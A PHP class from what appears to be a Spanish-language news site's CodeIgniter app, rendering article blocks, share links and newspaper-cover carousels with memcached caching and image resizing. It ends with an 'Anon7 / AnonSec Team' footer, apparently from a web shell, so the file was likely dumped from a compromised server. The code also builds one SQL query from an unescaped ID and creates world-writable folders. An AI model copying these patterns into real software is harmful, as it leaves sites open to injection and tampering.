            $nota_p .= '<img data-orig="' . $img . '" class=" lazy ">';

        $nota_p .= '<div class="sombrabig"></div>
						<div class="headsec color' . $color . '">';

        if ($seccion == 48)
            $nota_p .= '<img src="img/box-deportes.png"></div>';
        elseif ($seccion == 18)
            $nota_p .= '<img src="img/box-escenario.png"></div>';
        elseif ($seccion == 63)
            $nota_p .= '<img src="img/box-whatsapp.png"></div>';
        else
            $nota_p .= '' . $seccion_nombre . '</div>';

        $nota_p .= '<div class="list-social">
				                            <a href="javascript:void(0)" onclick="javascript:compartir(\'http://www.facebook.com/sharer/sharer.php?u=' . $href_canonical . '\',' . $notas[0]['id'] . ',32,700,435)"><span class="icon-facebook"><span class="path1"></span><span class="path2"></span></span></a>
				                            <a href="javascript:void(0)" onclick="javascript:compartir(\'http://twitter.com/share?url=' . $href_canonical . '&amp;text=' . $titulo . '\',' . $notas[0]['id'] . ',32,700,435)"><span class="icon-twitter"><span class="path1"></span><span class="path2"></span></span></a>
				                            <a href="whatsapp://send?text=' . NOMBRE_SITIO . ' - ' . $titulo . ' - ' . $url . '"><span class="icon-whatsapp"><span class="path1"></span><span class="path2"></span><span class="path3"></span></span></a>
				                        </div>
				    				    <h1>
				                            <a href="' . $url . '" class="clkinv">' . $notas[0]['titulo'] . '</a>
				                        </h1>
				                    </div>
				                </div>
				            </section>
				        </div>
				    </div>';

        $superior_s = '<div class="container-fluid color' . $color . '">
				      		<div class="container color' . $color . '">
				       			<section class="row home-row">';

        $contenido_s = '';
        if ($limit > 1) {
            $href_canonical_1 = $this->generar_url(32, $notas[1]['id'], $notas[1]['titulo'], $seccion_nombre);
            $url_1 = $this->generar_url(32, $notas[1]['id'], $notas[1]['titulo'], $seccion_nombre);
            $titulo_1 = $this->limpiarurl($notas[1]['titulo']);

            $img_archivo_1 = end(explode("/", $notas[1]['destacada']));
            $img_ruta_1 = str_replace($img_archivo_1, "", $notas[1]['destacada']);

            if (isset($img_ruta_1) && !is_array($img_ruta_1) && isset($img_archivo_1) && !is_array($img_archivo_1)) {
                $this->formato = "url";
                $img_1 = $this->dameImagen($img_ruta_1, $img_archivo_1, 'cache/' . $img_ruta_1, 640, 426, " lazy ");
                $this->formato = "html";
            } else
                $img_1 = false;

            $nota_s_uno .= '<div class="col-md-12 home lado">
	                    		<div class="image-box">';

            if ($img_1)
                $nota_s_uno .= '<img data-orig="' . $img_1 . '" class=" lazy ">';

            $nota_s_uno .= '</div>
		                    <h1><a href="' . $url_1 . '" class="clkinv">' . $notas[1]['titulo'] . '</a></h1>
		                    <div class="list-social">
		                        <a href="javascript:void(0)" onclick="javascript:compartir(\'http://www.facebook.com/sharer/sharer.php?u=' . $href_canonical_1 . '\',' . $notas[1]['id'] . ',32,700,435)"><span class="icon-facebook"><span class="path1"></span><span class="path2"></span></span></a>
		                        <a href="javascript:void(0)" onclick="javascript:compartir(\'http://twitter.com/share?url=' . $href_canonical_1 . '&amp;text=' . $titulo_1 . '\',' . $notas[1]['id'] . ',32,700,435)"><span class="icon-twitter"><span class="path1"></span><span class="path2"></span></span></a>
		                        <a href="whatsapp://send?text=' . NOMBRE_SITIO . ' - ' . $titulo_1 . ' - ' . $url_1 . '"><span class="icon-whatsapp"><span class="path1"></span><span class="path2"></span><span class="path3"></span></span></a>
		                    </div>
		                </div>';

            $href_canonical_2 = $this->generar_url(32, $notas[2]['id'], $notas[2]['titulo'], $seccion_nombre);
            $url_2 = $this->generar_url(32, $notas[2]['id'], $notas[2]['titulo'], $seccion_nombre);
            $titulo_2 = $this->limpiarurl($notas[2]['titulo']);

            $img_archivo_2 = end(explode("/", $notas[2]['destacada']));
            $img_ruta_2 = str_replace($img_archivo_2, "", $notas[2]['destacada']);

            if (isset($img_ruta_2) && !is_array($img_ruta_2) && isset($img_archivo_2) && !is_array($img_archivo_2)) {
                $this->formato = "url";
                $img_2 = $this->dameImagen($img_ruta_2, $img_archivo_2, 'cache/' . $img_ruta_2, 640, 426, " lazy ");
                $this->formato = "html";
            } else
                $img_2 = false;

            $nota_s_dos .= '<div class="col-md-12 home lado">
	                    		<div class="image-box">';

            if ($img_2)
                $nota_s_dos .= '<img data-orig="' . $img_2 . '" class=" lazy ">';

            $nota_s_dos .= '</div>
		                    <h1><a href="' . $url_2 . '" class="clkinv">' . $notas[2]['titulo'] . '</a></h1>
		                    <div class="list-social">
		                        <a href="javascript:void(0)" onclick="javascript:compartir(\'http://www.facebook.com/sharer/sharer.php?u=' . $href_canonical_2 . '\',' . $notas[2]['id'] . ',32,700,435)"><span class="icon-facebook"><span class="path1"></span><span class="path2"></span></span></a>
		                        <a href="javascript:void(0)" onclick="javascript:compartir(\'http://twitter.com/share?url=' . $href_canonical_2 . '&amp;text=' . $titulo_2 . '\',' . $notas[2]['id'] . ',32,700,435)"><span class="icon-twitter"><span class="path1"></span><span class="path2"></span></span></a>
		    					<a href="whatsapp://send?text=' . NOMBRE_SITIO . ' - ' . $titulo_2 . ' - ' . $url_2 . '"><span class="icon-whatsapp"><span class="path1"></span><span class="path2"></span><span class="path3"></span></span></a>
		                    </div>
		                    <div class="limpia"></div>
		                </div>';
            $contenido_s = $nota_s_uno . $nota_s_dos;
        }



        $inferior_s = '<div class="vermasinv color' . $color . '">
			    					<a href="' . $seccion_url . '">Ver más notas de ' . $seccion_nombre . '</a>
			    				</div>
			    			</section>
					    </div>
					</div>';

        $contenido_final = $nota_p . $superior_s . $contenido_s . $inferior_s;
        return $contenido_final;
    }

    public function dameClasificados() {
        $CI = & get_instance();
        $CI->load->library('memcached_library');
        $clasificados = $CI->memcached_library->get('clasificados');
        return unserialize($clasificados);
    }

    public function dameBloqueTapasMovil() {

        $CI = & get_instance();
        $CI->load->library('memcached_library');
        $tapas = $CI->memcached_library->get('tapa_otros');
        if (!$tapas) {
            $CI->load->model("edicion", "edicion", true);
            $tapas = $CI->edicion->dameTapaOtros();
            $CI->memcached_library->add("tapa_otros", $tapas, 900);
        }

        $tiempo_expiracion = 900;
        $v = $CI->memcached_library->get('rand_tapas');
        if (!$v) {
            $v = rand();
            $CI->memcached_library->add('rand_tapas', $v, $tiempo_expiracion);
        }

        foreach ($tapas as $key => $tapa) {
            $img_archivo_tapa = end(explode("/", $tapa['tapa']));
            $img_ruta_tapa = str_replace($img_archivo_tapa, "", $tapa['tapa']);

            $this->formato = "url";
            $img_tapa = $this->dameImagen($img_ruta_tapa, $img_archivo_tapa, 'cache/' . $img_ruta_tapa, 225, 309);
            $this->formato = "html";

            $img_tapa = $img_tapa . '?v=' . $v;
            $tapas[$key]['tapita'] = $img_tapa;
        }

        $contenido['tapas'] = $tapas;
        $code = $CI->load->view('ndiagramador/automatico_tapas_mobile', $contenido, true);

        return $code;


        /* $CI =& get_instance();
          $CI->load->library('memcached_library');
          $tapas = $CI->memcached_library->get('tapa_otros');
          if (!$tapas)
          {
          $CI->load->model("edicion","edicion",true);
          $tapas = $CI->edicion->dameTapaOtros();
          $CI->memcached_library->add("tapa_otros",$tapas,900);
          }

          $contenido_final = '';

          $superior = '<div class="container-fluid gris" style="margin-top:15px;">
          <div class="container gris">
          <section class="row">
          <div class="col-lg-12 tapa">
          <div class="headtapa">#Las Tapas de Hoy</div>

          <div id="carousel-example-generic2" class="carousel slide" data-ride="carousel">
          <div class="carousel-inner" role="listbox">';

          $contenido = '';
          $v = rand();
          foreach ($tapas as $key => $tapa)
          {
          $img_archivo_tapa = end(explode("/", $tapa['tapa']));
          $img_ruta_tapa = str_replace($img_archivo_tapa, "", $tapa['tapa']);

          $this->formato = "url";
          $img_tapa = $this->dameImagen($img_ruta_tapa,$img_archivo_tapa,'cache/'.$img_ruta_tapa,225,309);
          $this->formato = "html";

          $img_tapa = $img_tapa.'?v='.$v;
          if ($key == 0)
          {
          $contenido .=	'<div class="item active">
          <div class="image-box">
          <a href="'.$img_tapa.'" target="_blank">
          <img src="'.$img_tapa.'"></a>
          </div>
          </div>';
          }else{
          $contenido .= 	'<div class="item">
          <a href="'.$img_tapa.'" target="_blank">
          <div class="image-box">
          <img src="'.$img_tapa.'"></a>
          </div>
          </div>';
          }
          }

          $inferior = 						'</div>
          <a class="left carousel-control" href="#carousel-example-generic2" role="button" data-slide="prev">
          <span class="icon-izq" aria-hidden="true"></span>
          <span class="sr-only">Anterior</span>
          </a>
          <a class="right carousel-control" href="#carousel-example-generic2" role="button" data-slide="next">
          <span class="icon-der" aria-hidden="true"></span>
          <span class="sr-only">Siguiente</span>
          </a>
          </div>
          </div>
          </section>
          </div>
          </div>';

          $contenido_final = $superior.$contenido.$inferior;
          return $contenido_final; */
    }

    public function dameBloqueTapasDesktop() {

        $CI = & get_instance();
        $CI->load->library('memcached_library');
        $tapas = $CI->memcached_library->get('tapa_otros');
        if (!$tapas) {
            $CI->load->model("edicion", "edicion", true);
            $tapas = $CI->edicion->dameTapaOtros();
            $CI->memcached_library->add("tapa_otros", $tapas, 900);
        }

        $tiempo_expiracion = 900;
        $v = $CI->memcached_library->get('rand_tapas');
        if (!$v) {
            $v = rand();
            $CI->memcached_library->add('rand_tapas', $v, $tiempo_expiracion);
        }

        foreach ($tapas as $key => $tapa) {
            $img_archivo_tapa = end(explode("/", $tapa['tapa']));
            $img_ruta_tapa = str_replace($img_archivo_tapa, "", $tapa['tapa']);

            $this->formato = "url";
            $img_tapa = $this->dameImagen($img_ruta_tapa, $img_archivo_tapa, 'cache/' . $img_ruta_tapa, 225, 309);
            $this->formato = "html";

            $img_tapa = $img_tapa . '?v=' . $v;
            $tapas[$key]['tapita'] = $img_tapa;
        }

        $contenido['tapas'] = $tapas;
        $code = $CI->load->view('ndiagramador/automatico_tapas', $contenido, true);

        return $code;
    }

    public function dameBloqueSomosDeporteHome() {
        $CI = & get_instance();
        $CI->load->library('memcached_library');

        $clasificados = $CI->memcached_library->get('sdepo');
        if (!$clasificados) {
            $clasificados = file_get_contents(site_url('home/somos_deporte'));
            //$clasificados = utf8_encode($clasificados);
            $clasificados = serialize($clasificados);
            $CI->memcached_library->add('sdepo', $clasificados, 300);
        }

        return unserialize($clasificados);
    }

    public function dameImagenURL($ruta_origen, $imagen_origen, $ruta_destino, $width, $height) {
        $imagen = '';
        if ($ruta_origen != "" && $imagen_origen != "") {
            //***creamos las carpetas necesarias
            //$carpetas = explode('/',$ruta_destino);
            if (!file_exists(PATH_BASE_FILE . "fotos/" . $ruta_destino)) {
                mkdir(PATH_BASE_FILE . "fotos/" . $ruta_destino, 0777, true);
            }
            //***
            //$foto_nueva = str_replace("tmb1_","tmb4_",$foto);
            $foto_nueva = $width . 'x' . $height . '_' . $imagen_origen;

            $path_origen = PATH_BASE_FILE . "fotos/" . $ruta_origen . 'orig_' . $imagen_origen;
            if (!file_exists($path_origen))
                $path_origen = PATH_BASE_FILE . "fotos/" . $ruta_origen . $imagen_origen;
            $path_destino = PATH_BASE_FILE . "fotos/" . $ruta_destino . $foto_nueva;

            if (!file_exists($path_destino)) {

                if (file_exists($path_origen)) {
                    //genero la imagen
                    include_once(PATH_BASE . "controllers/herramientas/imageresize.class.php");

                    @$oResize = new ImageResize($path_origen);

                    $info_imagen = @getimagesize($path_origen);
                    $ancho = $info_imagen[0];
                    $alto = $info_imagen[1];

                    $aux_height = ($width * $alto / $ancho);
                    if ($aux_height < $height) {
                        //resize a $height
                        @$oResize->resizeHeight($height);
                        //if(@$oResize->save_part($path_destino))
                        //{
                        //@$oResize = new ImageResize($path_destino);
                        $aux_width = (int) ($height * $ancho / $alto);
                        $aux_espacio = (int) ($aux_width - $width) / 2;
                        if ($width > $ancho)
                            $aux_espacio = 0;
                        $oResize->gd_s = $oResize->gd_d;
                        if (@$oResize->resizeWidthHeight2($width, $height, $aux_espacio)) {
                            @$oResize->save($path_destino);
                        } else {
                            @unlink($path_destino);
                            return '';
                        }
                        //}
                        //else
                        //return '';
                    } else {
                        //resize a $width
                        @$oResize->resizeWidth($width);
                        //if(@$oResize->save_part($path_destino))
                        //{
                        //@$oResize = new ImageResize($path_destino);
                        if ($width > $ancho)
                            $aux_espacio = 0;
                        $oResize->gd_s = $oResize->gd_d;
                        @$oResize->resizeWidthHeight2($width, $height, 0);
                        @$oResize->save($path_destino);
                        //}
                    }
                }
                else {
                    return '';
                }
            }

            $image = URL_BASE_FILE . "fotos/" . $ruta_destino . $foto_nueva;
        } else
            $image = '';

        return $image;
    }

    public function generar_url_scroll($tipo, $id, $titulo, $seccion = "") {
        $url = "";
        switch ($tipo) {
            case '2':
                $url = 'video/' . $id . '/' . $this->limpiarurl($titulo);
                break;
            case '3':
                $url = "usuarios/ver/" . $id . "/" . $this->limpiarurl($titulo);
            case '5':
                $url = 'galeria/' . $id . '/' . $this->limpiarurl($titulo);
                break;
            case '43':
                $url = "imagenes/fotoreportaje/" . $id . "/" . $this->limpiarurl($titulo);
                break;
            case '32':
                if ($seccion == 'libre') {
                    $seccion = 'tiempo-libre';
                }
                $url = 'noticia/' . $seccion . '/' . $id . '/' . $this->limpiarurl($titulo);
                break;
            case '8':
                if ($seccion != "")
                    $url = $this->limpiarurl($seccion);
                else
                    $url = 'secciones/' . $id . '/' . $this->limpiarurl($titulo);
                break;
            case '33':
                if ($seccion != "")
                    $url = $this->limpiarurl($seccion);
                else
                    $url = 'tags/' . $id . '/' . $this->limpiarurl($titulo);
                break;
        }
        return $url;
    }

    public function get_color($nota_id) {
        $consulta = "SELECT n.id_seccion, t.color
		FROM nota n
                INNER JOIN tag t ON n.id_seccion = t.id
		WHERE n.id = " . $nota_id . "
		";
        $query = $this->CI->db->query($consulta);

        if ($query->num_rows() > 0) {
            foreach ($query->result() as $c) {
                $color = $c->color;
            }
        }
        return $color;
    }

}

Anon7 - 2022
AnonSec Team